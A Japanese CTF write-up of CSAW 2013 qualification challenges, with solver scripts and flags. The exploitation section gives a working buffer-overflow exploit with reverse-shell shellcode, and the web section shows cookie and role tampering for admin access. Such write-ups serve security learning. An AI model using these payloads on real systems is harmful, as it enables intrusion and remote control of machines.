CSAW 2013 Qualification Round Write-up

CSAW 2013 Qualificationにチームsuperflipとして参加した。メンバーは私1人。3400点、109位。去年も参加したけど良問が多くて面白い。

私が解いた問題の解法。解けなかった問題は、他の人のWrite-upへのリンク。

Trivia

Trivia1 - 50 Points

Drink all the booze, ____ all the things!

ググるだけ。というか、ググろうとChromeのOmniboxに問題文を貼り付けたら、候補に答えが表示されたw

hack

Trivia2 - 50 Points

What is the abbreviation of the research published in the Hackin9 issue on nmap by Jon Oberheide, Nico Waisman, Matthieu Suiche, Chris Valasek, Yarochkin Fyodor, the Grugq, Jonathan Brossard, and Mark Dowd?

ググるだけ。

DICKS

Trivia3 - 50 Points

What is the common name for a single grouping of instructions used in a Return Oriented Programming payload, typically ending in a return (ret) instruction?

知ってた。

gadget

Trivia4 - 50 Points

What is the new web technology that provides a web browser full-duplex communication to a web server over a single connection?

知ってた。

WebSocket

Trivia5 - 50 Points

What is the x86 processor operating mode for running 64-bit code?

ググった。

Long mode

Recon

指示された運営の人を調査しろという問題。ネットストーキング。どこかにキーが隠されている。英語が読めなくて辛い……。

Alexander Taylor - 100 Points

運営陣紹介ページのAlexander Taylor氏の写真に、xORkというチャンクがあって、CSRFと書いてある。kTXtチャンクの内容をCSRFでXORすると答えが出てくる。

e = open("ataylor.png","rb").read()[0x42f34:0x42f68]
k = "CSAW"
d = "".join(chr(ord(e[i])^ord(k[i%4])) for i in range(len(e)))
print d
>python solve.py
key{SPECIFICATIONS SUBJECT TO CHANGE WITHOUT NOTICE}
SPECIFICATIONS SUBJECT TO CHANGE WITHOUT NOTICE

historypeats - 100 Points

historypeats氏のGitHubアカウントを見つけて、最新のコミットを見れば良い。

whatDidtheF0xSay?

Brandon Edwards - 100 Points

同じくGitHub。検索履歴を見るに"Brandon Edwards"でGitHubアカウントに辿り着いたらしいけど、今検索しても出てこない。何故だろう……。

a959962111ea3fed179eb044d5b80407

Web

Guess Harder - 100 Points

admin=falseというCookieがセットされるので、それをtrueに書き換えるだけ。

told_ya_you_wouldnt_guess_it

Nevernote - 200 Points

自分用にメモが保存できたり、他人にメモを送ったりできる。このメモはURLを知っていると他人のメモも見ることができて、そこにはメモの一覧も載っている。さらに、メモにはリンクを添付できる。

適当なサーバーを用意して、そのサーバーのリンクを管理者にメール → 管理者がメモからそのサーバーにアクセス → Refererにログが残って(゚д゚)ウマー

「管理者はリンクをチェックしている」というヒントを見て、XSSだと思い、ずっと探し回っていた(´・ω・`)

akjdsf98LolCats234lkas0!#@%23Ferrari134545!@#250saDucati9dfL$Jdc09234lkjasf

herpderper - 300 Points

問題ファイルはAndroidアプリ。解析すると、サーバーにメールアドレスとパスワードとアプリのシグネチャを送って、認証していることがわかる。シグネチャは計算方法が分からなかったので、Androidエミュレータのメモリをダンプして探した。ブラウザからだと弾かれるの適当にスクリプトを書いた。

import urllib
import json

id = "admin"
password = "a"

u = urllib.urlopen("https://webchal.isis.poly.edu/csaw.php",
    "identity="+id.encode("base64").replace("\n","")+
    "&secret="+password.encode("base64").replace("\n","")+
    "&integrityid=3082019f30820108a0030201020204522f840b300d06092a864886f70d0101050500301431123010060355040b1309426c61636b204f7073301e170d3133303931303230343134375a170d3338303930343230343134375a301431123010060355040b1309426c61636b204f707330819f300d06092a864886f70d010101050003818d0030818902818100cf6ecf73522d132c654ba9d9448e3051099e16283b68ef7872779e29cf517cbdb9dbeadced28147b8bc0e2cf93a02aff855561258a20cf107fe79fc1b56479fd706760f8a6a5bdeba2dc9ea810c5b7954fea9b62d96f3d66743b7723f57578e814939a23262be7bdd0aca74cfc0bd06ec8e267861161075d00edd29e1ed7d29d0203010001300d06092a864886f70d0101050500038181003289f625b0d425dd9eb49c7d5113f3f9f39d72dd56c56684aeeede3e8e99aaf279b9e5c994b4f8f1d5ecb0941ffb7cb8dd3fa58c60926127ebe2a85531c1c1885f9ae588af1bd91ebc3ce41259818569663d9ec66cdbfb08993e20c046b2dcd0ca54e52e84dc1866c824a586ce452750b9df09c2a5fca4a05e3746db3aae9fa9"
    )
print u.read()

そうすると、

{
  "response":{
    "status":"failure",
    "msg":"Login failed"},
  "timeStamp":"1379397120",
  "tZ":"America/New_York",
  "reqResourceId":"webchal.isis.poly.edu",
  "clientId":{
    "identitySig":"d033e22ae348aeb5660fc2140aec35850c4da997",
    "role":"anonymous",
    "accessToken":"YWRtaW46YW5vbnltb3VzOndlYmNoYWwuaXNpcy5wb2x5LmVkdQ=="}
}

こんなJsonが返ってくる。identitySigはidのMD5ハッシュ、accessTokenを復号するとadmin:anonymous:webchal.isis.poly.eduという文字列になる。ここからどうするか悩んだけど、リクエストにrole=base64("admin")と加えるとroleを自由に設定できた。

import urllib
import json

id = "admin"
password = "a"
role = "admin"

u = urllib.urlopen("https://webchal.isis.poly.edu/csaw.php",
    "identity="+id.encode("base64").replace("\n","")+
    "&secret="+password.encode("base64").replace("\n","")+
    "&role="+role.encode("base64").replace("\n","")+
    "&integrityid=3082019f30820108a0030201020204522f840b300d06092a864886f70d0101050500301431123010060355040b1309426c61636b204f7073301e170d3133303931303230343134375a170d3338303930343230343134375a301431123010060355040b1309426c61636b204f707330819f300d06092a864886f70d010101050003818d0030818902818100cf6ecf73522d132c654ba9d9448e3051099e16283b68ef7872779e29cf517cbdb9dbeadced28147b8bc0e2cf93a02aff855561258a20cf107fe79fc1b56479fd706760f8a6a5bdeba2dc9ea810c5b7954fea9b62d96f3d66743b7723f57578e814939a23262be7bdd0aca74cfc0bd06ec8e267861161075d00edd29e1ed7d29d0203010001300d06092a864886f70d0101050500038181003289f625b0d425dd9eb49c7d5113f3f9f39d72dd56c56684aeeede3e8e99aaf279b9e5c994b4f8f1d5ecb0941ffb7cb8dd3fa58c60926127ebe2a85531c1c1885f9ae588af1bd91ebc3ce41259818569663d9ec66cdbfb08993e20c046b2dcd0ca54e52e84dc1866c824a586ce452750b9df09c2a5fca4a05e3746db3aae9fa9"
    )
print u.read()
>attack.py
{"response":{"status":"success","msg":"Key: Yo dawg I heard you leik to derp so
i put a herp in your derp so you could herpderp while you derpderp"},"timeStamp"
:"1379397169","tZ":"America/New_York","reqResourceId":"webchal.isis.poly.edu","c
lientId":{"identitySig":"d033e22ae348aeb5660fc2140aec35850c4da997","role":"admin
","accessToken":"YWRtaW46YWRtaW46d2ViY2hhbC5pc2lzLnBvbHkuZWR1"}}
Yo dawg I heard you leik to derp so i put a herp in your derp so you could herpderp while you derpderp

Reversing

DotNet - 100 Points

CUIの.NETアプリ。

string value = Console.ReadLine();
long num = Convert.ToInt64(value);
long num2 = 53129566096L;
long num3 = 65535655351L;
if ((num ^ num2) == num3)
{
    (略)
>DotNetReversing.exe
Greetings challenger! Step right up and try your shot at gaining the flag!
You'll have to know the pascode to unlock the prize:
13371337255
yay
flag{I'll create a GUI interface using visual basic...see if I can track an IP a
ddress.}
Success!!
press key to continue
I'll create a GUI interface using visual basic...see if I can track an IP address.

CSAW Reversing 2013 1 - 100 Points

Windowsの実行可能ファイル。普通に実行すると文字化けしたダイアログが表示される。デバッガで実行するとフラグが表示されるw

this1isprettyeasy:)

bikinibonanza - 150 Points

GUIの.NETプログラム。入力された文字列が正しいかどうかをチェックして、キーが表示されるらしい。正解の文字列は現在の時間ごとに変化して↓のように生成される。

from hashlib import *

def eval1(a,b):
    return [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101,103,107,109,113][b]^a

def eval2(text,num):
    ret = ""
    for t in text:
        c = ord(t)
        for i in range(1,num):
            c = eval1(c,i)
        ret += chr(c)
    return ret

def key(i):
    text = "NeEd_MoRe_Bawlz"
    return md5(eval2(text,i+1)).hexdigest().upper()

for i in range(24):
    print i, key(i)
>python solve.py
0 CFDF804CE0C601F97C3DC7C2026E44FD
1 D96090E563EA15B7C440684727B0FECF
2 8FD9B04487552379D6C48CEF0D63CC82
3 F9A66FA6113821D352BEBFAA6A7F1977
4 88A4C0CFA9E937D3D16A5D51F3ECD8B3
5 C2A0150A72390A2263964F07B88A13B1
6 CA88F85FDBA05E5CB6307B93A1DC727F
7 5DE1575B8E12B0D2EABB773BBFA10701
8 784C334C79A378FD62B0E156247C97B6
9 269D731CD5180A91ED6EDDA26DFE4C28
10 095B965FE1F52D30464AD0CE099F9B5F
11 BEBF06D90D6F9652476D244470C66BEC
12 10A9C866379106BC43B138E16CD58BA2
13 91D69E2C6E97F98D4EE096590E978A2D
14 6DBF3A8DF194BF573F46086C9ACD3828
15 AEF0CBDCD943997E7BCA5DD711E6F580
16 CA88F85FDBA05E5CB6307B93A1DC727F
17 E139DC68A502E59913AF688AF225E2A2
18 374A03DB139B5A43A21377D9410B34D7
19 83FF9D84CE21B77F217637D16E519B4F
20 BDC511D175460BAFB2D1930D5155753F
21 18DDD65BC857A2332841521A3C83DE5E
22 8436D9B870F35ADA28918A00FBDE944E
23 8BF731EED0DA5507004F831477A48241

時刻に応じた文字列を入力すると、

key(889D0056FE15BB75BF2FE39C389989F8)

が表示されるけど、通らない。問題文に

If your key isn't working try solving the binary on a different system

と書いてあるので、運営とチャット。

00:27 トークを開始します
00:27 (kusano) Hi. I've got the key "key(889D0056FE15BB75BF2FE39C389989F8)" in bikinibonanza, which didn't work...
00:35 (ColdHeat) how did you get the key?
00:45 (kusano) Submit "CFDF804CE0C601F97C3DC7C2026E44FD"
00:45 (kusano) Now is 1am in my time zone.
00:45 (kusano) no, 0 am
00:47 (ColdHeat) ok
00:47 (ColdHeat) hold on
00:47 (ColdHeat) 0920303251BABE89911ECEAD17FEBF30
00:47 (ColdHeat) use that as your key
00:47 (kusano) Thank you!
0920303251BABE89911ECEAD17FEBF30

CSAW Reversing 2013 2 - 200 Points

Windowsの実行可能ファイル。普通に実行すると文字化けしたダイアログが表示される。2問目と同様に、デバッガで実行すると文字列が復号される。ただし、1文字目がNULL文字なので、そのままではダイアログには表示されない。

number2isalittlebitharder:p

crackme - 300 Points

Linuxの実行可能ファイルの解析。ネットワーク越しに入力を受け取って、↓のハッシュ関数で計算して、0xEF2E3558と等しいかどうかをチェックしている。探索するプログラムを書けば良い。最初は非印字文字も含めて探索していたから、スクリプトで送りつけたのだけど、キーが取得できなかった。recvで途中までしか読み込んでいないのが原因だった。ウエイトを入れるか、まだ送られてきていないかチェックするかしましょう(´・ω・`)

unsigned int hash(const unsigned char *s)
{
    unsigned int h = 1337;
    for (; *s; s++)
        h += (h<<5) + *s;
    return h;
}
>nc 128.238.66.218 54321
Enter registration code: b1b6<x
Thank you, valued customer!
Your key is: day 145: they still do not realize this software sucks
day 145: they still do not realize this software sucks

Exploitation

Exploitation 1 - 100 Points

↓のソースコードが提示される。長い文字列を送りつけるだけでOK。ちなみに、2問目の問題でシェルを取ってディレクトリを覗いてみたら、1問目も完全なソースコードが置いてあった。

[snip]

void handle(int newsock) {
	int backdoor = 0;
	char buffer[1016];
	memset(buffer, 0, 1016);

	send(newsock, "Welcome to CSAW CTF.", 21, 0);
	recv(newsock, buffer, 1020, 0);
	buffer[1015] = 0;

	if ( backdoor ) {
		fd = fopen("./key", "r");
		fscanf(fd, "%s\n", buffer);
		send(newsock, buffer, 512, 0);
	}
	close(newsock);
}

[snip]
7c1fbb502632bffa6e62ba6fa847681f

Exploitation 2 - 200 Points

今度はELFファイルだけなので、自分で解析する必要がある。↓は攻略して手に入れたソースコードの抜粋。

void handle(int newsock) {
    unsigned int cookie = 0;
    char buffer[2048];
    memset(buffer, 0, 2048);

    srand(time(NULL));
    secret = rand();
    cookie = secret;

    ((int*)buffer)[0] = buffer;
    send(newsock, &buffer, 4, 0);
    send(newsock, &cookie, 4, 0);
    send(newsock, "Welcome to CSAW CTF.  Exploitation 2 will be a little harder this year.  Insert your exploit here:", 99, 0);
    recv(newsock, buffer, 4096, 0);
    buffer[2047] = 0;

    if (cookie != secret) {
        close(newsock);
        exit(0);
    }
}

exit(0)が呼ばれると攻撃できないので、cookieに値を代入しつつBuffer overflowで攻撃する。

import socket
import time
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("128.238.66.212", 31338))
#s.connect(("localhost", 31338))
time.sleep(1)
d = s.recv(0x100)
print repr(d)

# http://www.shell-storm.org/shellcode/files/shellcode-552.php
shell = ("\x31\xc0\x31\xdb\x31\xc9\x51\xb1"+
         "\x06\x51\xb1\x01\x51\xb1\x02\x51"+
         "\x89\xe1\xb3\x01\xb0\x66\xcd\x80"+
         "\x89\xc2\x31\xc0\x31\xc9\x51\x51"+
         "\x68\x41\x42\x43\x44\x66\x68\xb0"+
         "\xef\xb1\x02\x66\x51\x89\xe7\xb3"+
         "\x10\x53\x57\x52\x89\xe1\xb3\x03"+
         "\xb0\x66\xcd\x80\x31\xc9\x39\xc1"+
         "\x74\x06\x31\xc0\xb0\x01\xcd\x80"+
         "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"+
         "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"+
         "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"+
         "\xb1\x02\xcd\x80\x31\xc0\x31\xd2"+
         "\x50\x68\x6e\x2f\x73\x68\x68\x2f"+
         "\x2f\x62\x69\x89\xe3\x50\x53\x89"+
         "\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"+
         "\x01\xcd\x80")


st = struct.unpack("I",d[0:4])[0]
ep = struct.pack("I",st+0x900)

p = "a"*0x800
p += d[4:8]
p += ep*16
p += "\x90"*0x200
p += shell
p += "\x00"

s.send(p)

print s.recv(100)

Connect Back Shellなので、IP(0x41-0x44)、とポート(0x4f-0x50)を自分のものに書き換える必要がある。

>nc -l -p xxxx
ls
exploit2
exploit2.c
key
cat key
flag{53666e040caa855a9b27194c82a26366}
53666e040caa855a9b27194c82a26366

miteegashun - 400 Points

Miscellaneous

Networking 1 - 50 Points

pcapファイルを開くと答えが書いてある。

d316759c281bf925d600be698a4973d5

Networking 2 - 50 Points

1問目と同じpcapファイルと、networking.pcap.processというバイナリファイルが問題。networking.pcap.processの中に

flag{f9b43c9e9c05be5e08ea163007af5144}.exe

という文字列が何回も出てくるから投稿してみたら正解だった。良く分からない。

f9b43c9e9c05be5e08ea163007af5144

Black & White - 100 Points

真っ白なPNGファイルが渡される。真っ白に見えるけど、RGB(255,255,255)とRGB(254,254,254)なのでバケツツールで塗りつぶすと答えが出てくる。

forensics_is_fun

deeeeeeaaaaaadbeeeeeeeeeef - 200 Points

写真のPNGファイルが渡される。IHDRチャンクのCRCが間違っているらしい。実際にはIHDR中の画像の高さが改竄されていて、2448pxに直すとCRCが正しくなる。そうすると写真の下の方が見えて、そこにキーが書かれている。

TheISISPasswordIs

Life - 300 Points

指定されたIPに繋ぐと、ライフゲームの盤面と世代数が繰り返し提示される。指定された世代数進めた盤面を返すプログラムを書く。100問目を解くとキーが出力される。

import socket
import time
import re
import sys

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("128.238.66.216",45678))
        
    while True:
        d = ""
        while d<10 or d[-7:]!="######\n":
            t = s.recv(0x10000)
            sys.stdout.write(t)
            d += t
        print d
        d = d.split("\n")
        g = int(d[1].split()[3])
        b = d[2:-1]

        solve(b,g)

        ans = "\n".join(b)+"\n"
        s.send(ans)

def solve(b,g):
    w = len(b[0])
    h = len(b)
    for i in range(g):
        t = b[:]
        for y in range(h):
            b[y] = ""
            for x in range(w):
                if t[y][x] in " *":
                    c = 0
                    for yy in range(y-1,y+2):
                        for xx in range(x-1,x+2):
                            if (xx,yy)!=(x,y) and t[yy][xx]=="*":
                                c += 1
                    if t[y][x]==" ":
                        b[y] += "*" if c==3 else " "
                    else:
                        b[y] += "*" if 2<=c<=3 else " "
                else:
                    b[y] += t[y][x]

if __name__=="__main__":
    main()
that comp sci assignment was useful after all

Crypto

CSAWpad - 100 Points

文字列を暗号化するPythonスクリプトと、そのスクリプトを使って暗号化した8個の文字列が与えられる。暗号化の内容は、置換表を256個用意して、文字列の位置ごとに決まった表を使って文字を置換する。置換表は分かるけど、どの位置にどの置換表を使ったかは分からない。8個の文字列を同じ方法で暗号化しているので、全ての文字列で復号した文字がASCIIになるような置換表を探せば良い。いくつか候補があるけど、文字列が正しい英語になるものを選ぶ。

The difference between stupidity and genius is that genius has...
Go to Heaven for the climate, Hell for the company- Mark Twain
I am not a member of any organized political party. I am a Dem...
My definition of an intellectual is someone who can listen to ...
Republicans want less government for the same reason criminals...
If there are no stupid questions, then what kind of questions ...
And now, in the interest of equal time, here is a message from...
MY key for you is {And yes the nsa can read this to}
And yes the nsa can read this to

onlythisprogram - 300 Points

1問目と同様に、ファイルを暗号化するPythonスクリプトと、そのスクリプトを使って暗号化した9個のファイルが与えられる。暗号化は256バイトの鍵kを使って、元ファイルをp、暗号化したファイルをcとして、

c[i] = p[i]^k[i%256]

というXOR。こんなん無理だろと……思ったけど、file5.encに256バイトごとの繰り返しがあるのに気が付いた。file5.encの256バイト目から511バイト目までを鍵としたら、復号できた。BMPファイルの黒い部分(全部0)だった。file4がgz形式で解答すると答えが書いてある。
同じ鍵をそのまま使い回すな、ということだろうか。

BuildYourOwnCryptoSoOthersHaveJobSecurity